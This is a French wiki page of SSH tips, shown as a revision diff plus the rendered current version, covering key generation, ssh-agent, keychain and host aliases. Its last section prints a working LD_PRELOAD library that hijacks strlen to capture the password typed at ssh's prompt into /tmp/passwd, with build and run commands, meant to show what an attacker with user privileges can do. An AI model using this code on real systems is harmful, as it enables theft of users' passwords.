« Astuces ssh » : différence entre les versions

De WikiBR
Aucun résumé des modifications
 
(10 versions intermédiaires par 5 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
Voir aussi [[SSH]].
==Créer un couple de clefs :==
==Créer un couple de clefs :==
  $ ssh-keygen -t dsa
  $ ssh-keygen -t ed25519
Utiliser un password pour crypter la clef est important...  
 
Si ton disque dur n'est pas chiffré (Bitlocker sur Windows, FireVault sur macOS, LUKS sur Linux), il est '''impératif''' d'utiliser une ''passphrase''. Dans le cas contraire, c'est optionnel quoique recommandé.
 
L'algorithme ed25519 est le type de clé utilisé par défaut et recommandé depuis OpenSSH 9.5 (octobre 2023). Il supplante rsa qui avait l'inconvénient de générer des clés très longues (d'autant plus que le paramètre de taille était grand).


==Mettre la clef sur le serveur cible :==
==Mettre la clef sur le serveur cible :==
Ligne 8 : Ligne 13 :
  $ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub
  $ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub


==Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :==
==Pour ne pas avoir à déchiffrer la clef à chaque utilisation, mais tout en la gardant en sécurité :==
Démarrer ssh-agent:
Démarrer ssh-agent:
  $ eval  $(ssh-agent)
  $ eval  $(ssh-agent)
Ligne 45 : Ligne 50 :
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
==Mais un pirate peut me voler ma clef !!!==
Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :
noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                  record_pwd(s);
                  dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
                ready = 1;
        }
        /* Does da job... */   
        int i = 0;
        while ( s[i++] );
        return (size_t) (i-1);
}
gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc
Kaboom sur simple modification de l'environnement :
LD_PRELOAD=./libnoobpoc.so ssh localhost
Le mdp est dans /tmp/passwd...
[[catégorie: Informatique]]
[[Catégorie:Tutoriels]]

Version actuelle datée du 22 février 2024 à 19:20

Voir aussi SSH.

Créer un couple de clefs :

$ ssh-keygen -t ed25519

Si ton disque dur n'est pas chiffré (Bitlocker sur Windows, FireVault sur macOS, LUKS sur Linux), il est impératif d'utiliser une passphrase. Dans le cas contraire, c'est optionnel quoique recommandé.

L'algorithme ed25519 est le type de clé utilisé par défaut et recommandé depuis OpenSSH 9.5 (octobre 2023). Il supplante rsa qui avait l'inconvénient de générer des clés très longues (d'autant plus que le paramètre de taille était grand).

Mettre la clef sur le serveur cible :

$ ssh-copy-id -i ./ssh/id_dsa.pub serveur

ou bien ( en moins bien ) :

$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub

Pour ne pas avoir à déchiffrer la clef à chaque utilisation, mais tout en la gardant en sécurité :

Démarrer ssh-agent:

$ eval  $(ssh-agent)

Ajouter une clef :

$ ssh-add

Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :

ForwardAgent yes

Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.

Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :

keychain ~/.ssh/id_rsa ~/.ssh/id_dsa
source ~/.keychain/*-sh

à votre .bash_profile.

Utiliser des pseudo alias :

Dans un fichier texte ssh-aliases

#!/bin/bash
ssh $(basename $0) "$@"

puis le rendre utilisable :

chown root:root ssh-aliases &&
chmod 755 ssh-aliases &&
mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.

enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :

for namae in $(cat machines); do
    ln -s ~/bin/{ssh-aliases,$namae}
done


Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus. Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.

Mais un pirate peut me voler ma clef !!!

Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :

noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                 record_pwd(s);
                 dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
               ready = 1;
        }
        /* Does da job... */     
        int i = 0;
        while ( s[i++] );
        return (size_t) (i-1);
}


gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc

Kaboom sur simple modification de l'environnement :

LD_PRELOAD=./libnoobpoc.so ssh localhost

Le mdp est dans /tmp/passwd...